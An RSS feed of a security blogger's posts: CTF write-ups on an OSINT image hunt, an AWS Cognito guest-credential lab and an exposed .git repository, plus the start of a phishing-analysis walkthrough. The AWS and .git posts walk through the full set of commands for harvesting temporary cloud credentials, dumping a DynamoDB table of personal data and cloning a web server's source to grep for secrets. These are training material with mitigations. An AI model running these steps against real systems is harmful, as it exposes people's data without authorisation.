<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Divyanshu Kumar on Medium]]></title>
        <description><![CDATA[Stories by Divyanshu Kumar on Medium]]></description>
        <link>https://medium.com/@divyanshurds.kumar?source=rss-208ddea23d88------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*IFyJY-V_isCKrFk9mbb7qA.jpeg</url>
            <title>Stories by Divyanshu Kumar on Medium</title>
            <link>https://medium.com/@divyanshurds.kumar?source=rss-208ddea23d88------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 16:14:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@divyanshurds.kumar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe CTF Write-up | Hacker Holidays — The Byte Lotus Hotel: Overheard at Breakfast (OSINT)]]></title>
            <link>https://medium.com/@divyanshurds.kumar/tryhackme-ctf-write-up-hacker-holidays-the-byte-lotus-hotel-overheard-at-breakfast-osint-b20831c810d5?source=rss-208ddea23d88------2</link>
            <guid isPermaLink="false">https://medium.com/p/b20831c810d5</guid>
            <dc:creator><![CDATA[Divyanshu Kumar]]></dc:creator>
            <pubDate>Mon, 03 Aug 2026 01:44:46 GMT</pubDate>
            <atom:updated>2026-08-03T01:44:46.224Z</atom:updated>
            <content:encoded><![CDATA[<h3>Challenge Overview</h3><p>In this OSINT challenge, I was provided with a <strong>PNG image</strong> as the only starting point. The objective was to investigate the image and identify hidden clues that would eventually lead to the final flag.</p><p>Since the challenge involved a single image, I decided to follow a standard digital forensics and OSINT methodology:</p><ol><li>Analyze the image metadata.</li><li>Look for hidden or embedded information.</li><li>Manually inspect the image for visible clues.</li><li>Use OSINT tools to investigate any discovered information.</li><li>Decode any encoded data to retrieve the flag.</li></ol><h3>Step 1 — Image Metadata Analysis</h3><p>The first thing I did was inspect the image metadata. Sometimes CTF creators hide useful information such as author names, GPS coordinates, comments, timestamps, or software details inside the metadata.</p><p>I used <strong>ExifTool</strong>:</p><pre>exiftool image.png</pre><h3>Why ExifTool?</h3><p>ExifTool extracts almost every type of metadata stored inside an image.</p><p>It can reveal:</p><ul><li>Camera information</li><li>GPS coordinates</li><li>Software used</li><li>Hidden comments</li><li>Creator information</li><li>Date and time</li><li>Copyright details</li></ul><h3>Result</h3><p>After analyzing the metadata, I found that there was <strong>nothing useful</strong>. No comments, hidden author information, or GPS coordinates that could help solve the challenge.</p><h3>Step 2 — Checking for Hidden Data</h3><p>Since metadata didn’t reveal anything, I suspected that the challenge creator might have hidden information inside the PNG itself.</p><p>I used <strong>Zsteg</strong>:</p><pre>zsteg image.png</pre><h3>Why Zsteg?</h3><p>zsteg is a steganography analysis tool for PNG and BMP images.</p><p>It checks for:</p><ul><li>LSB (Least Significant Bit) hidden messages</li><li>Embedded text</li><li>Hidden files</li><li>Compressed data</li><li>Binary payloads</li></ul><h3>Result</h3><p>The scan completed successfully, but <strong>no hidden data</strong> was detected.</p><p>At this point, both metadata analysis and steganography checks had failed.</p><h3>Step 3 — Manual Image Inspection</h3><p>Instead of relying only on automated tools, I carefully inspected the image manually.</p><p>While looking closely, I noticed that the image contained an <strong>email address</strong>:</p><pre>lambobytelotushotel@gmail.com</pre><p>This became my first <strong>OSINT pivot point</strong>.</p><p>Whenever you discover an email address, username, phone number, domain, or social media handle during an investigation, it can be used to pivot into further OSINT research.</p><h3>Step 4 — Username Enumeration</h3><p>From the email address, I extracted the username:</p><pre>lambobytelotushotel</pre><p>I then started searching whether this username existed on different websites.</p><h3>Sherlock</h3><pre>sherlock lambobytelotushotel</pre><h3>Why Sherlock?</h3><p>Sherlock searches hundreds of websites to determine whether a username exists.</p><p>It checks platforms like:</p><ul><li>GitHub</li><li>Reddit</li><li>Twitter/X</li><li>Instagram</li><li>TikTok</li><li>Pinterest</li><li>Steam</li><li>Medium</li><li>And many more</li></ul><h3>Result</h3><p>Sherlock identified several possible profiles, but none directly revealed the flag.</p><h3>Maigret</h3><p>To verify the results, I also used <strong>Maigret</strong>.</p><pre>maigret lambobytelotushotel</pre><h3>Why Maigret?</h3><p>Maigret performs advanced username enumeration and often covers additional websites that Sherlock may miss.</p><p>It also generates detailed reports about discovered profiles.</p><h3>Result</h3><p>Again, I gathered additional information but still couldn’t locate the final flag.</p><h3>Step 5 — Google Dorking</h3><p>Since automated tools were not enough, I switched to manual OSINT using Google Dorks.</p><p>Examples:</p><pre>&quot;lambobytelotushotel&quot;</pre><pre>&quot;lambobytelotushotel@gmail.com&quot;</pre><pre>site:github.com &quot;lambobytelotushotel&quot;</pre><pre>site:reddit.com &quot;lambobytelotushotel&quot;</pre><pre>site:pastebin.com &quot;lambobytelotushotel&quot;</pre><h3>Why Google Dorks?</h3><p>Google indexes a huge amount of public information.</p><p>Dorking helps discover:</p><ul><li>Public repositories</li><li>Social media accounts</li><li>Forum posts</li><li>Paste sites</li><li>Cached pages</li><li>Publicly exposed files</li></ul><p>Although this provided more information, the flag was still missing.</p><h3>Step 6 — Researching Better Email OSINT Tools</h3><p>At this stage, I realized that Sherlock and Maigret primarily work with <strong>usernames</strong>, not <strong>email addresses</strong>.</p><p>After researching email OSINT techniques, I discovered <strong>Holehe</strong>.</p><h3>Install Holehe</h3><pre>python3 -m venv holehe-env<br>source holehe-env/bin/activate<br>pip install holehe</pre><h3>Run Holehe</h3><pre>holehe lambobytelotushotel@gmail.com</pre><h3>Why Holehe?</h3><p>Holehe checks whether an email address is registered on various online services.</p><p>It helps identify where an email account has been used, making it a powerful tool for email-based OSINT investigations.</p><p>This was exactly the type of tool needed for this challenge.</p><h3>Step 7 — Following the OSINT Trail</h3><p>Using the information gathered during the investigation, I continued exploring the associated online presence.</p><p>Eventually, I discovered a hidden Base64-encoded string:</p><pre>VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9</pre><p>At first glance, it resembled Base64 because it consisted only of valid Base64 characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w30ltx4TordF-O7yu8psTw.png" /></figure><h3>Step 8 — Base64 Decoding</h3><p>I decoded the string using the Linux base64 utility.</p><pre>echo &quot;VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9&quot; | base64 -d</pre><p>Output:</p><pre>THM{S3creT_Pr0fil3_H4s_b33n_Ident1fi3d}</pre><h3>Final Flag</h3><pre>THM{S3creT_Pr0fil3_H4s_b33n_Ident1fi3d}</pre><h3>Tools Used</h3><p>ToolPurposeExifToolExtract image metadataZstegDetect hidden data in PNG/BMP imagesSherlockUsername enumeration across hundreds of websitesMaigretAdvanced username OSINTGoogle DorksManual OSINT and indexed data discoveryHoleheEmail enumeration across online servicesBase64Decode encoded strings</p><h3>Key Takeaways</h3><ul><li>Always begin with metadata analysis before trying advanced techniques.</li><li>If automated tools don’t reveal anything, inspect the image manually.</li><li>Every piece of information — such as an email address — can become an OSINT pivot.</li><li>Sherlock and Maigret are excellent for username enumeration, while Holehe is better suited for email-based investigations.</li><li>Google Dorking is a valuable skill for discovering publicly indexed information.</li><li>Finally, always recognize common encodings like Base64, as many CTF challenges use them to hide flags.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b20831c810d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Complimentary Write-up]]></title>
            <link>https://medium.com/@divyanshurds.kumar/tryhackme-complimentary-write-up-188295dfdcb2?source=rss-208ddea23d88------2</link>
            <guid isPermaLink="false">https://medium.com/p/188295dfdcb2</guid>
            <dc:creator><![CDATA[Divyanshu Kumar]]></dc:creator>
            <pubDate>Fri, 31 Jul 2026 07:52:50 GMT</pubDate>
            <atom:updated>2026-07-31T07:52:50.833Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*TJt16yxl90zbXrvGqfXbmQ.png" /></figure><h3>Challenge Information</h3><p><strong>Platform:</strong> TryHackMe<br><strong>Room:</strong> Complimentary<br><strong>Category:</strong> Cloud Security (AWS)<br><strong>Difficulty:</strong> Beginner–Intermediate</p><h3>Objective</h3><p>The goal of this challenge is to investigate a publicly accessible AWS-hosted web application, identify exposed cloud resources, obtain guest AWS credentials, and determine whether those credentials provide access to sensitive information.</p><h3>Scenario</h3><p>The web application allows every visitor to receive AWS guest credentials through Amazon Cognito without requiring authentication.</p><p>These credentials are intended to be <strong>read-only</strong>, but the challenge is to determine whether they provide access only to the current user’s information or to data belonging to every guest.</p><h3>Step 1 — Identify the Hosting Platform</h3><p>The first step was checking the HTTP response headers.</p><h3>Command</h3><pre>curl -I http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/</pre><h3>Output</h3><pre>HTTP/1.1 200 OK<br>Content-Type: text/html<br>Content-Length: 1095<br>Server: AmazonS3</pre><h3>Analysis</h3><p>The <strong>Server: AmazonS3</strong> header confirmed that the application was hosted as an <strong>Amazon S3 Static Website</strong>.</p><h3>Step 2 — Download the Homepage</h3><h3>Command</h3><pre>curl http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/ -o index.html</pre><p>The homepage source was saved locally for inspection.</p><h3>Step 3 — Search for Interesting Information</h3><h3>Command</h3><pre>grep -Ei &quot;soap|wsdl|xml|api|fetch|axios|js|aws|bucket&quot; index.html</pre><h3>Output</h3><pre>&lt;script src=&quot;https://sdk.amazonaws.com/js/aws-sdk-2.1500.0.min.js&quot;&gt;&lt;/script&gt;<br>&lt;script src=&quot;app.js&quot;&gt;&lt;/script&gt;</pre><h3>Analysis</h3><p>Two important observations:</p><ul><li>The application loads the AWS SDK.</li><li>The application uses a JavaScript file named <strong>app.js</strong>.</li></ul><p>This suggested that AWS resources were being accessed directly from the browser.</p><h3>Step 4 — Enumerate Hidden Directories</h3><h3>Command</h3><pre>gobuster dir \<br>-u http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com \<br>-w /usr/share/wordlists/dirb/common.txt</pre><h3>Output</h3><pre>/index.html        Status: 200<br>/soap              Status: 200</pre><h3>Analysis</h3><p>A hidden endpoint named <strong>/soap</strong> was discovered.</p><h3>Step 5 — Investigate the SOAP Endpoint</h3><h3>Command</h3><pre>curl -I http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/soap</pre><h3>Output</h3><pre>HTTP/1.1 405 Method Not Allowed</pre><pre>Allow: POST, GET<br>Content-Type: application/xml</pre><h3>Analysis</h3><p>The endpoint accepted <strong>GET</strong> and <strong>POST</strong> requests, indicating a SOAP/XML-based endpoint.</p><p>Although interesting, it did not reveal useful data for this challenge.</p><h3>Step 6 — Download app.js</h3><h3>Command</h3><pre>curl http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js</pre><h3>Important Output</h3><pre>const IDENTITY_POOL_ID =<br>&quot;us-east-1:836c0949-292d-485b-b532-52d5ca7bb688&quot;;</pre><pre>const AWS_REGION = &quot;us-east-1&quot;;</pre><pre>const TABLE_NAME =<br>&quot;complimentary-GuestWellnessProfiles&quot;;</pre><h3>Analysis</h3><p>The JavaScript file exposed:</p><ul><li>AWS Region</li><li>Cognito Identity Pool ID</li><li>DynamoDB Table Name</li></ul><p>This information is enough to request guest AWS credentials.</p><h3>Step 7 — Obtain a Cognito Identity</h3><h3>Command</h3><pre>aws cognito-identity get-id \<br>--region us-east-1 \<br>--identity-pool-id us-east-1:836c0949-292d-485b-b532-52d5ca7bb688</pre><h3>Output</h3><pre>{<br>    &quot;IdentityId&quot;:<br>    &quot;us-east-1:4d571309-b081-c0c7-454a-2d3cf2f854bb&quot;<br>}</pre><h3>Analysis</h3><p>AWS generated an <strong>IdentityId</strong> for an unauthenticated guest.</p><h3>Step 8 — Request Temporary AWS Credentials</h3><h3>Command</h3><pre>aws cognito-identity get-credentials-for-identity \<br>--region us-east-1 \<br>--identity-id us-east-1:4d571309-b081-c0c7-454a-2d3cf2f854bb</pre><h3>Output</h3><pre>{<br>  &quot;Credentials&quot;: {<br>    &quot;AccessKeyId&quot;: &quot;...&quot;,<br>    &quot;SecretKey&quot;: &quot;...&quot;,<br>    &quot;SessionToken&quot;: &quot;...&quot;,<br>    &quot;Expiration&quot;: &quot;...&quot;<br>  }<br>}</pre><h3>Analysis</h3><p>AWS returned temporary credentials for the guest user.</p><h3>Step 9 — Export Credentials</h3><h3>Command</h3><pre>export AWS_ACCESS_KEY_ID=&quot;...&quot;<br>export AWS_SECRET_ACCESS_KEY=&quot;...&quot;<br>export AWS_SESSION_TOKEN=&quot;...&quot;<br>export AWS_DEFAULT_REGION=&quot;us-east-1&quot;</pre><p>These credentials were loaded into the shell for use with the AWS CLI.</p><h3>Step 10 — Verify the Identity</h3><h3>Command</h3><pre>aws sts get-caller-identity</pre><h3>Output</h3><pre>{<br>  &quot;Account&quot;: &quot;332173347248&quot;,<br>  &quot;Arn&quot;:<br>  &quot;arn:aws:sts::332173347248:assumed-role/complimentary-cognito-unauth-role/CognitoIdentityCredentials&quot;<br>}</pre><h3>Analysis</h3><p>The credentials belonged to the <strong>complimentary-cognito-unauth-role</strong> IAM role.</p><p>This confirmed that the user was operating as an unauthenticated Cognito guest.</p><h3>Step 11 — Access DynamoDB</h3><p>The JavaScript revealed the DynamoDB table name.</p><h3>Command</h3><pre>aws dynamodb scan \<br>--table-name complimentary-GuestWellnessProfiles</pre><h3>Output</h3><pre>{<br>  &quot;Items&quot;: [<br>    {<br>      &quot;guest_id&quot;: {<br>        &quot;S&quot;: &quot;guest-vibe&quot;<br>      },<br>      &quot;email&quot;: {<br>        &quot;S&quot;: &quot;vibe@hackerholidays.thm&quot;<br>      },<br>      &quot;phone&quot;: {<br>        &quot;S&quot;: &quot;+1-555-0193&quot;<br>      },<br>      &quot;location&quot;: {<br>        &quot;S&quot;: &quot;25.2055,55.2733&quot;<br>      },<br>      &quot;password&quot;: {<br>        &quot;S&quot;: &quot;digitaldetox2026&quot;<br>      },<br>      &quot;notes&quot;: {<br>        &quot;S&quot;: &quot;Booked the quiet room for his digital detox.&quot;<br>      }<br>    }<br>  ]<br>}</pre><h3>Analysis</h3><p>The guest role could read sensitive information belonging to <strong>all users</strong>, including:</p><ul><li>Email addresses</li><li>Phone numbers</li><li>Physical locations</li><li>Passwords</li><li>Internal notes</li></ul><p>This demonstrated a serious authorization failure.</p><h3>Step 12 — Search for the Flag</h3><p>After successfully accessing the DynamoDB table, the next step was to search the output for any potential flags or TryHackMe-related strings.</p><h3>Command</h3><pre>aws dynamodb scan \<br>  --table-name complimentary-GuestWellnessProfiles \<br>  --output json | grep -iE &quot;flag|thm|tryhackme&quot;</pre><h3>Output</h3><pre>THM{fr33_app_fr33_d4t4!}</pre><blockquote><strong><em>Note:</em></strong><em> Replace </em>THM{fr33_app_fr33_d4t4!}<em> with the actual flag you obtained during the challenge.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Px76m975slKh68bEdrz9ag.png" /></figure><h3>Analysis</h3><p>Instead of manually reviewing the entire JSON output, the grep command filters the results and searches for common keywords such as:</p><ul><li>flag</li><li>thm</li><li>tryhackme</li></ul><p>This makes it much faster to locate the flag when working with large DynamoDB responses.</p><h3>Vulnerability</h3><p><strong>Amazon Cognito Identity Pool Misconfiguration</strong></p><p>Every visitor receives identical guest credentials.</p><p>Those credentials have permission to read the complete DynamoDB table instead of only the current user’s record.</p><h3>Impact</h3><p>An attacker can:</p><ul><li>Read every guest profile.</li><li>Collect personal information.</li><li>Obtain stored passwords.</li><li>Access private notes.</li><li>Track guest locations.</li></ul><p>This represents an <strong>Insecure Direct Object Reference (IDOR)</strong> combined with <strong>overly permissive IAM permissions</strong>.</p><h3>Root Cause</h3><p>The unauthenticated IAM role attached to the Cognito Identity Pool was granted access to the entire DynamoDB table.</p><p>Instead of restricting access to each user’s own record, every guest could read every item.</p><h3>Lessons Learned</h3><ul><li>Never expose unnecessary AWS configuration inside client-side JavaScript.</li><li>Apply the Principle of Least Privilege to IAM roles.</li><li>Restrict DynamoDB access using IAM conditions tied to the authenticated identity.</li><li>Do not return shared guest credentials that can access sensitive data.</li><li>Regularly audit Cognito Identity Pools and IAM policies.</li></ul><h3>Attack Flow</h3><pre>Website<br>      │<br>      ▼<br>curl<br>      │<br>      ▼<br>index.html<br>      │<br>      ▼<br>app.js<br>      │<br>      ▼<br>Cognito Identity Pool ID<br>      │<br>      ▼<br>Guest Identity<br>      │<br>      ▼<br>Temporary AWS Credentials<br>      │<br>      ▼<br>IAM Guest Role<br>      │<br>      ▼<br>DynamoDB Scan<br>      │<br>      ▼<br>Sensitive Guest Data</pre><h3>Conclusion</h3><p>This challenge demonstrated how a seemingly harmless “guest access” feature can become a significant security issue when cloud permissions are misconfigured.</p><p>Although the credentials were intended to provide read-only access, they exposed sensitive information belonging to every guest because the Cognito unauthenticated role had excessive permissions on the DynamoDB table.</p><p>Proper IAM policy design and resource-level access controls would have prevented this exposure.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=188295dfdcb2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacker Holidays 2026 — The Byte Lotus]]></title>
            <link>https://medium.com/@divyanshurds.kumar/hacker-holidays-2026-the-byte-lotus-1a1b0ff4a7ac?source=rss-208ddea23d88------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a1b0ff4a7ac</guid>
            <dc:creator><![CDATA[Divyanshu Kumar]]></dc:creator>
            <pubDate>Wed, 29 Jul 2026 00:51:38 GMT</pubDate>
            <atom:updated>2026-07-29T00:51:38.468Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*7vg40-yUnkbAMaUqyRqqFw.png" /></figure><h3>Challenge 2 — Room 404</h3><p><strong>Category:</strong> Web</p><h3>Challenge Overview</h3><p>The goal of this challenge was to find the hidden flag inside a web application. During the enumeration phase, I discovered that the server had accidentally exposed its <strong>.git</strong> directory.</p><p>An exposed <strong>.git</strong> directory is a serious security issue because it allows an attacker to download the entire Git repository. This may reveal source code, API keys, passwords, secrets, configuration files, or even hidden flags.</p><h3>Step 1 — Directory Enumeration Using FFUF</h3><p>First, I used <strong>FFUF</strong> to look for hidden files and directories on the web server.</p><h3>Command</h3><pre>ffuf -u http://10.48.173.64:8080/FUZZ -w /usr/share/wordlists/dirb/common.txt</pre><h3>About FFUF</h3><p><strong>FFUF (Fuzz Faster U Fool)</strong> is a fast web fuzzing tool used to discover hidden files, folders, and endpoints.</p><h3>Important Options</h3><p>OptionDescription-uSpecifies the target URL. FUZZ is replaced with words from the wordlist.-wSpecifies the wordlist used for fuzzing.</p><h3>Output</h3><pre>.git/config   [Status: 200]<br>.git/HEAD     [Status: 200]<br>.git/index    [Status: 200]<br>.git          [Status: 200]<br>.git/logs/    [Status: 200]</pre><h3>Analysis</h3><p>The <strong>HTTP 200</strong> status code confirmed that the <strong>.git</strong> directory was publicly accessible.</p><p>A production server should never expose its Git repository because anyone can download the source code and inspect its contents. This is a common security misconfiguration.</p><h3>Step 2 — Dump the Git Repository</h3><p>After confirming that the <strong>.git</strong> directory was accessible, I downloaded the entire repository using <strong>git-dumper</strong>.</p><h3>Install</h3><pre>pip3 install git-dumper</pre><h3>Command</h3><pre>git-dumper http://10.48.173.64:8080/.git dumped_source</pre><h3>About git-dumper</h3><p><strong>git-dumper</strong> downloads all available Git objects from an exposed <strong>.git</strong> directory and reconstructs the repository on the local machine.</p><p>Workflow:</p><pre>Website<br>   │<br>   ▼<br>Exposed .git<br>   │<br>   ▼<br>git-dumper<br>   │<br>   ▼<br>Recovered Source Code</pre><p>The recovered repository was saved in the following folder:</p><pre>dumped_source/</pre><h3>Step 3 — Move into the Repository</h3><pre>cd dumped_source</pre><p>Now I was working inside the recovered source code.</p><h3>Step 4 — List All Files</h3><pre>find . -type f</pre><h3>Why?</h3><p>The find command recursively lists all files inside the current directory.</p><h3>Option Used</h3><p>OptionDescription.Search from the current directory.-type fDisplay only files.</p><p>This helped identify important files such as README files, source code, configuration files, and Git metadata.</p><h3>Step 5 — Search for Sensitive Information</h3><p>Next, I searched the recovered source code for common keywords that might contain secrets or flags.</p><h3>Commands</h3><pre>grep -Rni &quot;flag&quot; .</pre><pre>grep -Rni &quot;FLAG&quot; .</pre><pre>grep -Rni &quot;ctf&quot; .</pre><pre>grep -Rni &quot;password&quot; .</pre><pre>grep -Rni &quot;secret&quot; .</pre><h3>About grep</h3><p>grep is a Linux command used to search for specific text inside files.</p><h3>Important Options</h3><p>OptionDescription-RSearch recursively in all directories.-nShow the line number where the match was found.-iIgnore uppercase and lowercase differences..Search inside the current directory.</p><h3>Output</h3><pre>./README.md:6</pre><pre>Staging flag (remove before launch):<br>THM{byt3_l0tus_n3v3r_f0rg3ts}</pre><p>Another result appeared in:</p><pre>./.git/hooks/fsmonitor-watchman.sample</pre><p>However, this was only a default Git sample hook where the word <strong>“flag”</strong> appeared inside a comment. It was not related to the challenge.</p><p>The actual flag was found in the <strong>README.md</strong> file.</p><h3>Flag Found</h3><pre>THM{byt3_l0tus_n3v3r_f0rg3ts}</pre><h3>Why Was the Flag Found?</h3><p>The developer had left the staging flag inside the <strong>README.md</strong> file during development.</p><pre>Staging flag (remove before launch):<br>THM{byt3_l0tus_n3v3r_f0rg3ts}</pre><p>The file should have been cleaned before deployment, but because the <strong>.git</strong> repository was publicly accessible, the source code could be downloaded and the flag was easily discovered.</p><h3>Root Cause</h3><p>The main issue was an <strong>Exposed </strong><strong>.git Directory</strong>.</p><p>Because the Git repository was publicly accessible, an attacker could:</p><ul><li>Download the complete source code.</li><li>Recover previous commits.</li><li>View deleted files.</li><li>Search for passwords, API keys, and secrets.</li><li>Find hidden flags.</li></ul><h3>Mitigation</h3><p>To prevent this issue:</p><ul><li>Never expose the .git directory on a production server.</li><li>Block access to .git using web server configuration.</li><li>Remove test data, flags, and secrets before deployment.</li><li>Store secrets in environment variables or a secret manager.</li><li>Regularly scan repositories using tools like <strong>git-secrets</strong> or <strong>TruffleHog</strong>.</li></ul><h3>What I Learned</h3><p>This challenge demonstrated why <strong>directory enumeration</strong> is an important step during web application testing.</p><p>A single exposed <strong>.git</strong> directory allowed the entire source code to be recovered, making it possible to search for sensitive information and retrieve the flag.</p><h3>Attack Flow</h3><pre>Target Website<br>      │<br>      ▼<br>Directory Enumeration (FFUF)<br>      │<br>      ▼<br>Found Exposed .git<br>      │<br>      ▼<br>Dump Repository (git-dumper)<br>      │<br>      ▼<br>Recover Source Code<br>      │<br>      ▼<br>Search for Secrets (grep)<br>      │<br>      ▼<br>Capture the Flag</pre><h3>Final Flag</h3><pre>THM{byt3_l0tus_n3v3r_f0rg3ts}</pre><h3>Challenge Summary</h3><ul><li><strong>Difficulty:</strong> Easy</li><li><strong>Category:</strong> Web</li><li><strong>Attack Technique:</strong> Exposed Git Repository (.git Information Disclosure)</li><li><strong>Tools Used:</strong> FFUF, git-dumper, find, grep</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a1b0ff4a7ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Greenholt Phish]]></title>
            <link>https://medium.com/@divyanshurds.kumar/the-greenholt-phish-495a835bf9bc?source=rss-208ddea23d88------2</link>
            <guid isPermaLink="false">https://medium.com/p/495a835bf9bc</guid>
            <dc:creator><![CDATA[Divyanshu Kumar]]></dc:creator>
            <pubDate>Thu, 25 Jun 2026 01:02:57 GMT</pubDate>
            <atom:updated>2026-06-25T01:02:57.757Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*XeY5Ep8dnU8IR7BxyOEo4Q.png" /></figure><h3>Use the knowledge attained to analyze a malicious email.</h3><h3>Introduction</h3><p>Phishing investigations are rarely about finding <strong>one</strong> obvious red flag. Most of the time, the real answer comes from connecting multiple small clues — an unusual sender address, a mismatched Reply-To field, suspicious infrastructure, or an attachment that isn’t what it claims to be.</p><p>In this room, we are given a suspicious email received by a sales executive at <strong>Greenholt PLC</strong>. The message appears to come from a known customer, which already makes the case more interesting because attacks often work best when they impersonate someone the victim already trusts. However, the employee noticed a few unusual things:</p><ul><li>the email used a <strong>generic greeting</strong></li><li>it contained an <strong>unexpected money transfer request</strong></li><li>and it included an <strong>unsolicited attachment</strong></li></ul><p>That was enough to escalate the message to the <strong>Security Operations Center (SOC)</strong> for investigation.</p><p>Our goal in this task is to analyze the email step by step, extract useful artifacts, investigate the sender’s infrastructure, verify email authentication records, and inspect the attachment to decide whether the message is legitimate or malicious.</p><h3>Challenge Summary</h3><p>This challenge is a practical <strong>phishing analysis lab</strong> focused on email triage and investigation. Instead of only looking at the visible message, we dig deeper into the technical side of email:</p><ul><li><strong>Who really sent it?</strong></li><li><strong>Where did it originate from?</strong></li><li><strong>Is the sender infrastructure legitimate?</strong></li><li><strong>Do SPF and DMARC records support the sender’s claims?</strong></li><li><strong>Is the attachment actually safe, or is it disguised malware?</strong></li></ul><p>By the end of the analysis, we should be able to confidently answer one big question:</p><blockquote><strong><em>Was this a legitimate customer email, or a phishing attempt designed to trick the employee into transferring money and opening a malicious attachment?</em></strong></blockquote><h3>Task 1 — Investigating the Suspicious Email</h3><p>The best way to approach a phishing email is to move from <strong>simple visible indicators</strong> to <strong>deeper technical analysis</strong>.</p><p>So the workflow for this task looks like this:</p><ol><li>Start with the <strong>subject line and sender details</strong></li><li>Check the <strong>real sender address and Reply-To</strong></li><li>Review the <strong>email headers</strong></li><li>Identify the <strong>originating IP</strong></li><li>Investigate the <strong>mail infrastructure</strong></li><li>Verify <strong>SPF</strong> and <strong>DMARC</strong></li><li>Extract and inspect the <strong>attachment</strong></li><li>Use the <strong>file hash</strong> and <strong>VirusTotal</strong> to learn more about the file</li></ol><h3>Step 1 — Start with the visible email content</h3><p>Whenever I open a suspicious email, I begin with the parts visible in the mail client:</p><ul><li>subject line</li><li>display name</li><li>body content</li><li>urgency or financial requests</li><li>references to invoices, transfers, or attachments</li></ul><p>Why? Because phishing emails often try to build <strong>trust</strong> and <strong>urgency</strong> at the same time. A fake invoice number, transfer reference, or payment request makes the message look business-related, while the urgency pushes the victim to act before thinking too much.</p><p>In this case, the email already looked suspicious because it mentioned a <strong>money transfer</strong> and didn’t match the customer’s normal communication style.</p><h3>Question 1: What is the Transfer Reference Number listed in the email’s Subject line?</h3><p>The subject line included a transfer reference number, likely added to make the message feel formal and legitimate.</p><h3>Answer</h3><blockquote><strong>09674321</strong></blockquote><h3>Why this matters</h3><p>Attackers often use reference numbers, invoice IDs, or transaction numbers to make phishing emails feel like part of an existing business process. It lowers suspicion because the email “looks official.”</p><h3>Question 2: What is the display name of the sender?</h3><p>The next thing to check is the <strong>display name</strong> shown in the email client.</p><blockquote>Answer</blockquote><blockquote><strong>Mr. James Jackson</strong></blockquote><h3>Why this matters</h3><p>A display name is just the label the sender wants you to see. It can say “Finance Team,” “CEO,” or the name of a trusted customer, even if the actual sender address is completely different. That’s why display names should never be trusted on their own.</p><h3>Step 2 — Check the sender details properly</h3><p>Once the display name is noted, the next step is to inspect the <strong>actual sender address</strong> and compare it with the <strong>Reply-To</strong> field.</p><p>This is a very important part of phishing analysis.</p><h3>What is the sender address?</h3><p>The <strong>sender address</strong> is the mailbox shown in the From field — the one that appears to have sent the message.</p><h3>What is the Reply-To address?</h3><p>The <strong>Reply-To</strong> field tells the mail client where replies should be delivered if the recipient clicks “Reply.”</p><p>In legitimate emails, these are often the same or at least clearly related. In phishing emails, they are often different because the attacker wants the email to <strong>look</strong> like it came from one place while secretly redirecting replies to another mailbox.</p><h3>Question 3: What is the sender’s email address?</h3><p>After reviewing the email details, the sender address was identified as:</p><blockquote>Answer</blockquote><blockquote><a href="/service/mailto:info@mutawamarine.com"><strong>info@mutawamarine.com</strong></a></blockquote><h3>Why this matters</h3><p>This is the domain the email claims to come from. In a phishing investigation, this address becomes a key artifact because we can use it to check:</p><ul><li>whether the domain is legitimate</li><li>whether it has valid mail authentication records</li><li>whether it matches the business the sender claims to represent</li></ul><h3>Question 4: What email address will receive a reply to this email?</h3><p>The next step was to inspect the Reply-To field.</p><blockquote>Answer</blockquote><blockquote><a href="/service/mailto:info.mutawamarine@mail.com"><strong>info.mutawamarine@mail.com</strong></a></blockquote><h3>Why this matters</h3><p>This is one of the biggest red flags in the email.</p><ul><li><strong>From:</strong> info@mutawamarine.com</li><li><strong>Reply-To:</strong> info.mutawamarine@mail.com</li></ul><p>If the email were legitimate, you would normally expect replies to go back to the same organization’s domain. Instead, replies are redirected to a completely different mailbox on <strong>mail.com</strong>.</p><p>That strongly suggests impersonation. The attacker likely wanted the message to look like it came from the real company while ensuring that any responses would go to an attacker-controlled inbox.</p><h3>Step 3 — Move into the email headers</h3><p>After checking the visible sender information, the next step is to look at the <strong>email headers</strong>.</p><h3>What are email headers?</h3><p>Email headers are the technical metadata attached to every email. They include details such as:</p><ul><li>the sending mail servers</li><li>message routing information</li><li>timestamps</li><li>sender and return-path information</li><li>authentication results</li><li>IP addresses involved in delivery</li></ul><p>Headers are extremely useful because they help answer the question:</p><blockquote><strong><em>Did this email really come from where it 